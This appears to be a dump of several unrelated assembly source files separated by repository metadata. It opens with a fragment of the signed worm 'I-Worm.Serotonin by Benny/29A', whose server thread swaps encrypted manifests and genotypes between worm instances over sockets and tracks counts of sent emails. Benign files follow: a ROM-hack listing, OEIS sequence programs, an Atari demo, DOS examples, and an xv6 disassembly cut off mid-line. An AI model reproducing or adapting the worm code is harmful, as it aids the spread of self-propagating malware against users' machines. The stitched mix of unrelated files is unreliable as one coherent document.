tgdelta],eax jmp st_crypt_loop ;correct variablez and continue replace_manifest: mov esi,[ebp + st_newmanifest - tgdelta] lea edi,[ebp + MANIFEST - tgdelta] mov ecx,[ebp + st_newmanifestsize - tgdelta] call copy_manifest jmp key_server_loop ;encrypt the last block st_crypt_final: pop ecx call crypt_encrypt_final mov ecx,12345678h st_man_size = dword ptr $-4 add ecx,[ebp + tmp - tgdelta] ;ECX = size of encrypted manifest ;SEND ENCRYPTED MANIFEST TO CLIENT WORM push ecx lea esi,[ebp + protocol_MAGIC - tgdelta] mov byte ptr [esi],WORMNET_SENDMANIFEST mov [esi+1],ecx push 5 pop ecx call write_socket ;send header to worm pop ecx pop esi call write_socket ;send manifest to worm mov eax,esi call dealloc_memory ;RECIEVE ENCRYPTED REPORT AND DECRYPT IT call get_response5 ;get response jc key_server_loop mov eax,12345678h st_newmanifest = dword ptr $-4 call dealloc_memory cmp byte ptr [edi],WORMNET_SENDREPORT jne key_server_loop ;must be WORMNET_SENDREPORT mov ecx,[edi+1] push ecx lea edi,[ebp + @report-80h - tgdelta] call get_response ;recieve report jc key_server_loop pop ecx lea eax,[ebp + tmp - tgdelta] mov [eax],ecx push eax push edi push 0 push 1 push 0 push dword ptr [ebp + cKey - tgdelta] call [ebp + _CryptDecrypt - tgdelta] ;decrypt last block call get_response5 ;synchronization with client push GEN_CUSTOM ;activate custom routine stored call activate_gen ;in genotype inc dword ptr [ebp + num_of_clients - tgdelta] ;increment "number of handled clients" ;variable ;ANALYSE REPORT AND STATUS VARIABLES mov eax,[edi.REP_MAILNUM] ;get number of sent emails mov ecx,100 ;get limit variable mut_mailnum = dword ptr $-4 cmp ecx,eax jb st_terminate ;quit if limit exceeded mov eax,[edi.REP_IPSNUM] ;get number of IPs stored in client's manifest mov ecx,100 ;get limit variable mut_ipsnum = dword ptr $-4 cmp ecx,eax jb st_terminate ;quit if limit exceeded mov eax,12345678h ;get number of handled clients num_of_clients = dword ptr $-4 mov ecx,100 ;get limit variable mut_clientnum = dword ptr $-4 cmp ecx,eax jb st_terminate ;quit if limit exceeded call [ebp + _GetTickCount - tgdelta] ;get current count of ticks sub eax,12345678h ; - saved count of ticks st_ticks = dword ptr $-4 xor edx,edx mov ecx,60*1000 div ecx ; / 60 seconds (convert miliseconds to minutes) db 3Dh ;CMP EAX,LARGE ... mut_time dd 30 ; ... 30 jb key_server_loop ;quit if running longer than 30 minutes ;TERMINATE SERVER st_terminate: lea edi,[ebp + st_patch - tgdelta] ;get instruction to patch mov eax,90909090h ;4 x NOP (90h) stosd ;overwrite 4 bytez with NOPs stosb ;overwrite 1 byte with NOP key_server_loop: ;destroy client's public key push dword ptr [ebp + cXchgKey - tgdelta] call [ebp + _CryptDestroyKey - tgdelta] socket_server_loop: push dword ptr [ebp + hSocket - tgdelta] call [ebp + _closesocket - tgdelta] ;close connection st_patch: ;instruction to patch... jmp server_loop ;...handle next client ;CLEAN & QUIT socket_st_end: push 12345678h hSocket2 = dword ptr $-4 call [ebp + _closesocket - tgdelta] ;close listening socket wsa_st_end: call [ebp + _WSACleanup - tgdelta] ;unitialize WSOCK32.dll crypt_st_end: push dword ptr [ebp + cKey - tgdelta] call [ebp + _CryptDestroyKey - tgdelta] ;destroy worm's public key push 0 push dword ptr [ebp + cProvider - tgdelta] call [ebp + _CryptReleaseContext - tgdelta] ;unitialize CRYPT32.dll context st_end: @SEH_RemoveFrame ;remove SEH frame popad ;restore all GP registers ret ;and quit ;send recieved genotype to another worm genotype_broadcast: lea eax,[ebp + hSocket - tgdelta] push dword ptr [eax] push dword ptr [ebp + cXchgKey - tgdelta] mov ecx,[ebp + hSocket3 - tgdelta] mov [eax],ecx ;save crucial variables (socket, key handle) lea esi,[ebp + protocol_MAGIC - tgdelta] mov byte ptr [esi],WORMNET_SENDKEY mov ecx,12345678h pubkey_size = dword ptr $-4 mov [esi+1],ecx add ecx,5 call write_socket ;send public key call get_response5 jc end_gb cmp byte ptr [edi],WORMNET_SENDKEY jne end_gb mov ecx,[edi+1] mov ebx,ecx push ecx call alloc_memory xchg eax,edi pop ecx push edi call get_response ;recieve public key call import_key ;and import it pop eax call dealloc_memory mov eax,12345678h st_gen_size = dword ptr $-4 push eax imul eax,80h push 75h pop ecx cdq div ecx xchg eax,ecx call alloc_memory ;allocate memory for encrypted genotype pop ecx je end_gb_key mov [ebp + st_mem_genotype2 - tgdelta],eax xchg eax,edi ;encrypt genotype before sending and dword ptr [ebp + st_gen_size2 - tgdelta],0 push 75h pop ebx mov esi,[ebp + st_mem_genotype - tgdelta] gb_crypt_loop: push ecx push ecx push edi mov ecx,ebx rep movsb pop edi pop ecx cmp ecx,ebx jb gb_crypt_final je gb_crypt_final call crypt_encrypt ;encrypt one block pop ecx mov eax,[ebp + tmp - tgdelta] add edi,eax sub ecx,ebx add [ebp + st_gen_size2 - tgdelta],eax jmp gb_crypt_loop gb_crypt_final: pop ecx call crypt_encrypt_final ;encrypt final block mov ecx,12345678h st_gen_size2 = dword ptr $-4 add ecx,[ebp + tmp - tgdelta] ;ECX = size of encrypted genotype lea esi,[ebp + protocol_MAGIC - tgdelta] mov byte ptr [esi],WORMNET_SENDGENOTYPEONLY mov [esi+1],ecx push ecx push 5 pop ecx call write_socket ;send header mov esi,[ebp + st_mem_genotype2 - tgdelta] pop ecx call write_socket ;send genotype mov eax,12345678h st_mem_genotype2 = dword ptr $-4 call dealloc_memory end_gb_key: ;close public key handle push dword ptr [ebp + cXchgKey - tgdelta] call [ebp + _CryptDestroyKey - tgdelta] end_gb: pop dword ptr [ebp + cXchgKey - tgdelta] ;restore public key handle pop dword ptr [ebp + hSocket - tgdelta] ;restore socket handle ret ;and quit ServerThread EndP signature db CRLF,'I-Worm.Serotonin by Benny/29A',CRLF socket dw 2 ;socket structure dw 0C200h ;port (194) socket_address dd ? ;IP address db 8 dup (?) sizeofsocket = $-socket WSAData: dw ? ;WSAData structure dw ? db 257 dup (?) db 129 dup (?) dw ? dw ? dd ? org WSAData filename db MAX_PATH dup (?) procz dd 100h dup (?) dd ? modz dd ? mod_name db MAX_PATH dup (?) p_token dd ? org WSAData protocol_MAGIC db WORMNET_SENDKEY ;magic number protocol_SIZE dd ? ;size of data public_key db 1000h dup (?) ;maximal size of key public_key_length = 1000h tmp dd ? ;MANIFEST (GENOTYPE + IP storage): MANIFEST dd IPs-MANIFEST ;RVA of IP storage dd 1 ;number of IP entries include genotype.inc ;include genotype file IPs dd 0100007Fh ;IP address _virtual_end: End Start
21.280801
86
0.679453
fee417f902f1f3dfbae446e419bcb920622c6a82
270
asm
Assembly
wof/lcs/enemy/D6.asm
zengfr/arcade_game_romhacking_sourcecode_top_secret_data
a4a0c86c200241494b3f1834cd0aef8dc02f7683
[ "Apache-2.0" ]
6
2020-10-14T15:29:10.000Z
2022-02-12T18:58:54.000Z
wof/lcs/enemy/D6.asm
zengfr/arcade_game_romhacking_sourcecode_top_secret_data
a4a0c86c200241494b3f1834cd0aef8dc02f7683
[ "Apache-2.0" ]
null
null
null
wof/lcs/enemy/D6.asm
zengfr/arcade_game_romhacking_sourcecode_top_secret_data
a4a0c86c200241494b3f1834cd0aef8dc02f7683
[ "Apache-2.0" ]
1
2020-12-17T08:59:10.000Z
2020-12-17T08:59:10.000Z
copyright zengfr site:http://github.com/zengfr/romhack 001590 lea ($20,A0), A0 0122B6 move.l (A2)+, (A3)+ [enemy+D0, enemy+D2] 0122B8 move.l (A2)+, (A3)+ [enemy+D4, enemy+D6] 01A75E dbra D4, $1a75c copyright zengfr site:http://github.com/zengfr/romhack
30
54
0.666667
3aaeec6137d4b2062238afdeb1df7e42218e54f9
440
asm
Assembly
oeis/256/A256462.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/256/A256462.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/256/A256462.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A256462: Double sum of the product of two binomials with even arguments. ; Submitted by Jon Maiga ; 1,14,238,4092,70070,1192516,20177164,339653880,5692584870,95050101300,1581953021220,26255495764680,434697697648188,7181635051211432,118422830335911640,1949458102569167344,32043155434056810246,525974795270875804308 mul $0,2 mov $1,$0 mul $0,2 bin $0,$1 add $1,1 mov $2,$0 div $2,$1 add $1,2 mul $0,$1 sub $2,2 sub $0,$2 div $0,2 sub $0,1
24.444444
215
0.770455
b186de781625991acb55c92e2e67ca5faeab5437
1,653
asm
Assembly
rainbow/rainbow.asm
leonhad/atari
fc960c556d433cea6dc95a6e65b2429397e41c6e
[ "Apache-2.0" ]
null
null
null
rainbow/rainbow.asm
leonhad/atari
fc960c556d433cea6dc95a6e65b2429397e41c6e
[ "Apache-2.0" ]
null
null
null
rainbow/rainbow.asm
leonhad/atari
fc960c556d433cea6dc95a6e65b2429397e41c6e
[ "Apache-2.0" ]
null
null
null
processor 6502 include "vcs.h" include "macro.h" seg code org $F000 Start: CLEAN_START ; macro to safely clear memory and TIA ; Start a new frame by turning on VBLANK and VSYNC NextFrame: lda #2 ; same as binary value %00000010 sta VBLANK ; turn on VBLANK sta VSYNC ; turn on VSYNC ; Generate the tree lines of VSYNC sta WSYNC ; first scanline sta WSYNC ; second scanline sta WSYNC ; third scanline lda #0 sta VSYNC ; turn off VSYNC ; Let the TIA output the recommended 37 scanlines of VBLANK ldx #37 ; X = 37 (to count 37 scanlines) LoopVBlank: sta WSYNC ; hit WSYNC and wait for the next scanline dex ; X-- bne LoopVBlank ; loop while X != 0 lda #0 sta VBLANK ; turn off VBLANK ; Draw 192 visible scanlines (kernel) ldx #192 ; counter for 192 visible scanlines LoopVisible: stx COLUBK ; set the background color sta WSYNC ; wait for the next scanline dex ; X-- bne LoopVisible ; loop while X != 0 ; Output 30 more VBLANK lines (overscan) to complete our frame lda #2 ; hit and turn on VBLANK again sta VBLANK ldx #30 ; counter for 30 scanlines LoopOverscan: sta WSYNC ; wait for the next scanline dex ; X-- bne LoopOverscan; loop while X != 0 jmp NextFrame ; Complete my ROM size to 4KB org $FFFC ; Defines origin to $FFFC .word Start ; Reset vector at $FFFC (where program starts) .word Start ; Interrupt vector at $FFFE (unused by the VCS)
27.55
66
0.606776
758fd5f3b5a728e96d393f6a4ce047466d2150ce
389
asm
Assembly
8086/7strop/strcpy.asm
iamvk1437k/mpmc
3640b29f29b3ffa78747b13b2ca8ac77c49695eb
[ "MIT" ]
1
2022-01-01T11:27:43.000Z
2022-01-01T11:27:43.000Z
8086/7strop/strcpy.asm
iamvk1437k/mpmc
3640b29f29b3ffa78747b13b2ca8ac77c49695eb
[ "MIT" ]
null
null
null
8086/7strop/strcpy.asm
iamvk1437k/mpmc
3640b29f29b3ffa78747b13b2ca8ac77c49695eb
[ "MIT" ]
null
null
null
;String Copy - 8086 .model small .stack 100h .data text1 db 'Hello Welcome' text2 db 13 dup(?) count dw 13 .code begin: mov ax,@data mov ds,ax mov es,ax mov si,offset text1 mov di,offset text2 mov cx,count cld rep movsb mov ah,4ch int 21h end begin
17.681818
29
0.473008
8e5c25dd323f301237a160c73dfba749d088bfa5
480
asm
Assembly
win16/lesson03b.asm
mashingan/notes-asmtutor
88532e0b364a63cd1e7578a537807795d429fc2f
[ "MIT" ]
1
2021-11-05T06:41:49.000Z
2021-11-05T06:41:49.000Z
win16/lesson03b.asm
mashingan/notes-asmtutor
88532e0b364a63cd1e7578a537807795d429fc2f
[ "MIT" ]
null
null
null
win16/lesson03b.asm
mashingan/notes-asmtutor
88532e0b364a63cd1e7578a537807795d429fc2f
[ "MIT" ]
null
null
null
;; With kernel interrupt 9, dos already know the end of string when it finds ;; this version is about as before but we put the '$' after the length ;; to utilize dos ah=9 kernel interrupt org 256 start: xor cx, cx mov si, hello .nextchar: cmp byte [si], 0 je @f cmp byte [si], '$' je @f inc cx inc si jmp .nextchar @@: mov dx, hello mov byte [si+1], '$' mov ah, 9 int 21h .exit: int 20h hello db 'Hello world!', 0h, 0h
17.777778
76
0.59375
49c435b10dc187118dc52154c7301ff28a200ccd
422
asm
Assembly
programs/oeis/037/A037483.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/037/A037483.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/037/A037483.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A037483: Base 6 digits are, in order, the first n terms of the periodic sequence with initial period 1,2. ; 1,8,49,296,1777,10664,63985,383912,2303473,13820840,82925041,497550248,2985301489,17911808936,107470853617,644825121704,3868950730225,23213704381352,139282226288113,835693357728680,5014160146372081 mov $1,6 mov $3,$0 add $3,2 mov $2,$3 sub $2,1 pow $1,$2 mov $4,$1 div $4,7 add $1,$4 sub $1,6 div $1,5 add $1,1
26.375
199
0.755924
5cd366f0489c00ae31e1fab8c6665d870a7ef43c
541
asm
Assembly
oeis/057/A057105.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/057/A057105.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/057/A057105.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A057105: Triangle of numbers (when unsigned) related to congruum problem: T(n,k)=k^2+2nk-n^2 with n>k>0 and starting at T(2,1)=1. ; Submitted by Jamie Morken(s4) ; 1,-2,7,-7,4,17,-14,-1,14,31,-23,-8,9,28,49,-34,-17,2,23,46,71,-47,-28,-7,16,41,68,97,-62,-41,-18,7,34,63,94,127,-79,-56,-31,-4,25,56,89,124,161,-98,-73,-46,-17,14,47,82,119,158,199,-119,-92,-63,-32,1,36,73,112,153,196,241,-142,-113,-82,-49,-14,23,62,103 lpb $0 add $2,1 sub $0,$2 lpe sub $2,$0 add $0,1 pow $0,2 add $2,1 pow $2,2 sub $0,$2 add $2,$0 add $2,$0 mov $0,$2
30.055556
255
0.608133
ab43e3124589134cb10387200ba086f19b6edd06
2,568
asm
Assembly
programs/oeis/135/A135400.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/135/A135400.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/135/A135400.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A135400: a(n) = (4*n^4 - 4*n^3 - n^2 + 3*n)/2. ; 1,17,108,382,995,2151,4102,7148,11637,17965,26576,37962,52663,71267,94410,122776,157097,198153,246772,303830,370251,447007,535118,635652,749725,878501,1023192,1185058,1365407,1565595,1787026,2031152,2299473,2593537,2914940,3265326,3646387,4059863,4507542,4991260,5512901,6074397,6677728,7324922,8018055,8759251,9550682,10394568,11293177,12248825,13263876,14340742,15481883,16689807,17967070,19316276,20740077,22241173,23822312,25486290,27235951,29074187,31003938,33028192,35149985,37372401,39698572,42131678,44674947,47331655,50105126,52998732,56015893,59160077,62434800,65843626,69390167,73078083,76911082,80892920,85027401,89318377,93769748,98385462,103169515,108125951,113258862,118572388,124070717,129758085,135638776,141717122,147997503,154484347,161182130,168095376,175228657,182586593,190173852,197995150,206055251,214358967,222911158,231716732,240780645,250107901,259703552,269572698,279720487,290152115,300872826,311887912,323202713,334822617,346753060,358999526,371567547,384462703,397690622,411256980,425167501,439427957,454044168,469022002,484367375,500086251,516184642,532668608,549544257,566817745,584495276,602583102,621087523,640014887,659371590,679164076,699398837,720082413,741221392,762822410,784892151,807437347,830464778,853981272,877993705,902509001,927534132,953076118,979142027,1005738975,1032874126,1060554692,1088787933,1117581157,1146941720,1176877026,1207394527,1238501723,1270206162,1302515440,1335437201,1368979137,1403148988,1437954542,1473403635,1509504151,1546264022,1583691228,1621793797,1660579805,1700057376,1740234682,1781119943,1822721427,1865047450,1908106376,1951906617,1996456633,2041764932,2087840070,2134690651,2182325327,2230752798,2279981812,2330021165,2380879701,2432566312,2485089938,2538459567,2592684235,2647773026,2703735072,2760579553,2818315697,2876952780,2936500126,2996967107,3058363143,3120697702,3183980300,3248220501,3313427917,3379612208,3446783082,3514950295,3584123651,3654313002,3725528248,3797779337,3871076265,3945429076,4020847862,4097342763,4174923967,4253601710,4333386276,4414287997,4496317253,4579484472,4663800130,4749274751,4835918907,4923743218,5012758352,5102975025,5194404001,5287056092,5380942158,5476073107,5572459895,5670113526,5769045052,5869265573,5970786237,6073618240,6177772826,6283261287,6390094963,6498285242,6607843560,6718781401,6831110297,6944841828,7059987622,7176559355,7294568751,7414027582,7534947668,7657340877,7781219125 mul $0,2 mov $1,4 mov $2,$0 add $2,4 sub $1,$2 bin $1,4 sub $2,$1 mul $1,7 add $1,$2 div $1,2 sub $1,1
171.2
2,414
0.871495
e4d7bd8f593666ff9fa9c788d0ba4281fb5853e9
83,452
asm
Assembly
lab02/lab2/boat.asm
ahchu1993/opsys
b3405cdf48e99654b4bbc2bad8b3cd4ce1cbd09f
[ "Xnet", "X11" ]
null
null
null
lab02/lab2/boat.asm
ahchu1993/opsys
b3405cdf48e99654b4bbc2bad8b3cd4ce1cbd09f
[ "Xnet", "X11" ]
null
null
null
lab02/lab2/boat.asm
ahchu1993/opsys
b3405cdf48e99654b4bbc2bad8b3cd4ce1cbd09f
[ "Xnet", "X11" ]
null
null
null
_boat: file format elf32-i386 Disassembly of section .text: 00000000 <main>: void CannibalArrives(); void RowBoat(); int main(int argc, char *argv[]) { 0: 55 push %ebp 1: 89 e5 mov %esp,%ebp 3: 83 e4 f0 and $0xfffffff0,%esp 6: 83 ec 20 sub $0x20,%esp sem_init(&boat, 3); 9: c7 44 24 04 03 00 00 movl $0x3,0x4(%esp) 10: 00 11: c7 04 24 20 19 00 00 movl $0x1920,(%esp) 18: e8 c9 10 00 00 call 10e6 <sem_init> sem_init(&display, 1); 1d: c7 44 24 04 01 00 00 movl $0x1,0x4(%esp) 24: 00 25: c7 04 24 60 19 00 00 movl $0x1960,(%esp) 2c: e8 b5 10 00 00 call 10e6 <sem_init> sem_init(&cann, 3); 31: c7 44 24 04 03 00 00 movl $0x3,0x4(%esp) 38: 00 39: c7 04 24 e0 18 00 00 movl $0x18e0,(%esp) 40: e8 a1 10 00 00 call 10e6 <sem_init> sem_init_full(&loading, 3); 45: c7 44 24 04 03 00 00 movl $0x3,0x4(%esp) 4c: 00 4d: c7 04 24 20 1a 00 00 movl $0x1a20,(%esp) 54: e8 b2 10 00 00 call 110b <sem_init_full> sem_signal(&loading); 59: c7 04 24 20 1a 00 00 movl $0x1a20,(%esp) 60: e8 32 11 00 00 call 1197 <sem_signal> sem_signal(&loading); 65: c7 04 24 20 1a 00 00 movl $0x1a20,(%esp) 6c: e8 26 11 00 00 call 1197 <sem_signal> sem_signal(&loading); 71: c7 04 24 20 1a 00 00 movl $0x1a20,(%esp) 78: e8 1a 11 00 00 call 1197 <sem_signal> sem_init(&mutex, 1); 7d: c7 44 24 04 01 00 00 movl $0x1,0x4(%esp) 84: 00 85: c7 04 24 a0 19 00 00 movl $0x19a0,(%esp) 8c: e8 55 10 00 00 call 10e6 <sem_init> sem_init(&mutex2, 1); 91: c7 44 24 04 01 00 00 movl $0x1,0x4(%esp) 98: 00 99: c7 04 24 a0 18 00 00 movl $0x18a0,(%esp) a0: e8 41 10 00 00 call 10e6 <sem_init> sem_init_full(&prevention, 1); a5: c7 44 24 04 01 00 00 movl $0x1,0x4(%esp) ac: 00 ad: c7 04 24 e0 19 00 00 movl $0x19e0,(%esp) b4: e8 52 10 00 00 call 110b <sem_init_full> int i; int population = 12; b9: c7 44 24 18 0c 00 00 movl $0xc,0x18(%esp) c0: 00 for(i = 0; i < population; i++) c1: c7 44 24 1c 00 00 00 movl $0x0,0x1c(%esp) c8: 00 c9: eb 3f jmp 10a <main+0x10a> { if(random(3)) thread_create(MissionaryArrives, 0); cb: c7 04 24 03 00 00 00 movl $0x3,(%esp) d2: e8 cf 0e 00 00 call fa6 <random> d7: 85 c0 test %eax,%eax d9: 74 16 je f1 <main+0xf1> db: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) e2: 00 e3: c7 04 24 37 01 00 00 movl $0x137,(%esp) ea: e8 ea 0d 00 00 call ed9 <thread_create> ef: eb 14 jmp 105 <main+0x105> else thread_create(CannibalArrives, 0); f1: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) f8: 00 f9: c7 04 24 59 03 00 00 movl $0x359,(%esp) 100: e8 d4 0d 00 00 call ed9 <thread_create> int i; int population = 12; for(i = 0; i < population; i++) 105: 83 44 24 1c 01 addl $0x1,0x1c(%esp) 10a: 8b 44 24 1c mov 0x1c(%esp),%eax 10e: 3b 44 24 18 cmp 0x18(%esp),%eax 112: 7c b7 jl cb <main+0xcb> } // for(i = 0; i < 3; i++) thread_create(MissionaryArrives, 0); // for(i = 0; i < 4; i++) thread_create(CannibalArrives, 0); while(wait() > 0); 114: 90 nop 115: e8 f0 07 00 00 call 90a <wait> 11a: 85 c0 test %eax,%eax 11c: 7f f7 jg 115 <main+0x115> printf(1, "done moving\n"); 11e: c7 44 24 04 1c 12 00 movl $0x121c,0x4(%esp) 125: 00 126: c7 04 24 01 00 00 00 movl $0x1,(%esp) 12d: e8 78 09 00 00 call aaa <printf> exit(); 132: e8 cb 07 00 00 call 902 <exit> 00000137 <MissionaryArrives>: } void MissionaryArrives() { 137: 55 push %ebp 138: 89 e5 mov %esp,%ebp 13a: 56 push %esi 13b: 53 push %ebx 13c: 83 ec 20 sub $0x20,%esp sem_aquire(&boat); 13f: c7 04 24 20 19 00 00 movl $0x1920,(%esp) 146: e8 e6 0f 00 00 call 1131 <sem_aquire> sem_aquire(&display); 14b: c7 04 24 60 19 00 00 movl $0x1960,(%esp) 152: e8 da 0f 00 00 call 1131 <sem_aquire> printf(1, "1: (%d) missionary arrived, %d, %d\n", getpid(), total, con); 157: 8b 35 88 18 00 00 mov 0x1888,%esi 15d: 8b 1d 84 18 00 00 mov 0x1884,%ebx 163: e8 1a 08 00 00 call 982 <getpid> 168: 89 74 24 10 mov %esi,0x10(%esp) 16c: 89 5c 24 0c mov %ebx,0xc(%esp) 170: 89 44 24 08 mov %eax,0x8(%esp) 174: c7 44 24 04 2c 12 00 movl $0x122c,0x4(%esp) 17b: 00 17c: c7 04 24 01 00 00 00 movl $0x1,(%esp) 183: e8 22 09 00 00 call aaa <printf> sem_signal(&display); 188: c7 04 24 60 19 00 00 movl $0x1960,(%esp) 18f: e8 03 10 00 00 call 1197 <sem_signal> sem_aquire(&mutex2); 194: c7 04 24 a0 18 00 00 movl $0x18a0,(%esp) 19b: e8 91 0f 00 00 call 1131 <sem_aquire> while(total + 1 == 5){ con++; 1a0: e9 db 00 00 00 jmp 280 <MissionaryArrives+0x149> 1a5: a1 88 18 00 00 mov 0x1888,%eax 1aa: 83 c0 01 add $0x1,%eax 1ad: a3 88 18 00 00 mov %eax,0x1888 sem_signal(&mutex2); 1b2: c7 04 24 a0 18 00 00 movl $0x18a0,(%esp) 1b9: e8 d9 0f 00 00 call 1197 <sem_signal> sem_signal(&boat); 1be: c7 04 24 20 19 00 00 movl $0x1920,(%esp) 1c5: e8 cd 0f 00 00 call 1197 <sem_signal> sem_aquire(&display); 1ca: c7 04 24 60 19 00 00 movl $0x1960,(%esp) 1d1: e8 5b 0f 00 00 call 1131 <sem_aquire> printf(1, "1: (%d) missionary denied boarding, %d, %d\n", getpid(), total, con); 1d6: 8b 35 88 18 00 00 mov 0x1888,%esi 1dc: 8b 1d 84 18 00 00 mov 0x1884,%ebx 1e2: e8 9b 07 00 00 call 982 <getpid> 1e7: 89 74 24 10 mov %esi,0x10(%esp) 1eb: 89 5c 24 0c mov %ebx,0xc(%esp) 1ef: 89 44 24 08 mov %eax,0x8(%esp) 1f3: c7 44 24 04 50 12 00 movl $0x1250,0x4(%esp) 1fa: 00 1fb: c7 04 24 01 00 00 00 movl $0x1,(%esp) 202: e8 a3 08 00 00 call aaa <printf> sem_signal(&display); 207: c7 04 24 60 19 00 00 movl $0x1960,(%esp) 20e: e8 84 0f 00 00 call 1197 <sem_signal> sem_aquire(&prevention); 213: c7 04 24 e0 19 00 00 movl $0x19e0,(%esp) 21a: e8 12 0f 00 00 call 1131 <sem_aquire> sem_aquire(&display); 21f: c7 04 24 60 19 00 00 movl $0x1960,(%esp) 226: e8 06 0f 00 00 call 1131 <sem_aquire> printf(1, "1: (%d) missionary prevented death, %d, %d\n", getpid(), total, con); 22b: 8b 35 88 18 00 00 mov 0x1888,%esi 231: 8b 1d 84 18 00 00 mov 0x1884,%ebx 237: e8 46 07 00 00 call 982 <getpid> 23c: 89 74 24 10 mov %esi,0x10(%esp) 240: 89 5c 24 0c mov %ebx,0xc(%esp) 244: 89 44 24 08 mov %eax,0x8(%esp) 248: c7 44 24 04 7c 12 00 movl $0x127c,0x4(%esp) 24f: 00 250: c7 04 24 01 00 00 00 movl $0x1,(%esp) 257: e8 4e 08 00 00 call aaa <printf> sem_signal(&display); 25c: c7 04 24 60 19 00 00 movl $0x1960,(%esp) 263: e8 2f 0f 00 00 call 1197 <sem_signal> sem_aquire(&boat); 268: c7 04 24 20 19 00 00 movl $0x1920,(%esp) 26f: e8 bd 0e 00 00 call 1131 <sem_aquire> sem_aquire(&mutex2); 274: c7 04 24 a0 18 00 00 movl $0x18a0,(%esp) 27b: e8 b1 0e 00 00 call 1131 <sem_aquire> printf(1, "1: (%d) missionary arrived, %d, %d\n", getpid(), total, con); sem_signal(&display); sem_aquire(&mutex2); while(total + 1 == 5){ con++; 280: a1 84 18 00 00 mov 0x1884,%eax 285: 83 f8 04 cmp $0x4,%eax 288: 0f 84 17 ff ff ff je 1a5 <MissionaryArrives+0x6e> sem_signal(&display); sem_aquire(&boat); sem_aquire(&mutex2); } sem_signal(&mutex2); 28e: c7 04 24 a0 18 00 00 movl $0x18a0,(%esp) 295: e8 fd 0e 00 00 call 1197 <sem_signal> sem_aquire(&mutex2); 29a: c7 04 24 a0 18 00 00 movl $0x18a0,(%esp) 2a1: e8 8b 0e 00 00 call 1131 <sem_aquire> total += 1; 2a6: a1 84 18 00 00 mov 0x1884,%eax 2ab: 83 c0 01 add $0x1,%eax 2ae: a3 84 18 00 00 mov %eax,0x1884 sem_signal(&mutex2); 2b3: c7 04 24 a0 18 00 00 movl $0x18a0,(%esp) 2ba: e8 d8 0e 00 00 call 1197 <sem_signal> sem_aquire(&display); 2bf: c7 04 24 60 19 00 00 movl $0x1960,(%esp) 2c6: e8 66 0e 00 00 call 1131 <sem_aquire> printf(1, "2: (%d) missionary enters boat, %d, %d\n", getpid(), total, con); 2cb: 8b 35 88 18 00 00 mov 0x1888,%esi 2d1: 8b 1d 84 18 00 00 mov 0x1884,%ebx 2d7: e8 a6 06 00 00 call 982 <getpid> 2dc: 89 74 24 10 mov %esi,0x10(%esp) 2e0: 89 5c 24 0c mov %ebx,0xc(%esp) 2e4: 89 44 24 08 mov %eax,0x8(%esp) 2e8: c7 44 24 04 a8 12 00 movl $0x12a8,0x4(%esp) 2ef: 00 2f0: c7 04 24 01 00 00 00 movl $0x1,(%esp) 2f7: e8 ae 07 00 00 call aaa <printf> sem_signal(&display); 2fc: c7 04 24 60 19 00 00 movl $0x1960,(%esp) 303: e8 8f 0e 00 00 call 1197 <sem_signal> sem_aquire(&mutex); 308: c7 04 24 a0 19 00 00 movl $0x19a0,(%esp) 30f: e8 1d 0e 00 00 call 1131 <sem_aquire> bp++; 314: a1 80 18 00 00 mov 0x1880,%eax 319: 83 c0 01 add $0x1,%eax 31c: a3 80 18 00 00 mov %eax,0x1880 sem_signal(&mutex); 321: c7 04 24 a0 19 00 00 movl $0x19a0,(%esp) 328: e8 6a 0e 00 00 call 1197 <sem_signal> if (bp < 3) sem_aquire(&loading); 32d: a1 80 18 00 00 mov 0x1880,%eax 332: 83 f8 02 cmp $0x2,%eax 335: 7f 0c jg 343 <MissionaryArrives+0x20c> 337: c7 04 24 20 1a 00 00 movl $0x1a20,(%esp) 33e: e8 ee 0d 00 00 call 1131 <sem_aquire> // sem_aquire(&display); // printf(1, "bp missionary: %d\n", bp); // sem_signal(&display); RowBoat(); 343: e8 33 02 00 00 call 57b <RowBoat> sem_signal(&loading); 348: c7 04 24 20 1a 00 00 movl $0x1a20,(%esp) 34f: e8 43 0e 00 00 call 1197 <sem_signal> texit(); 354: e8 51 06 00 00 call 9aa <texit> 00000359 <CannibalArrives>: } void CannibalArrives() { 359: 55 push %ebp 35a: 89 e5 mov %esp,%ebp 35c: 56 push %esi 35d: 53 push %ebx 35e: 83 ec 20 sub $0x20,%esp sem_aquire(&boat); 361: c7 04 24 20 19 00 00 movl $0x1920,(%esp) 368: e8 c4 0d 00 00 call 1131 <sem_aquire> sem_aquire(&display); 36d: c7 04 24 60 19 00 00 movl $0x1960,(%esp) 374: e8 b8 0d 00 00 call 1131 <sem_aquire> printf(1, "1: (%d) cannibal 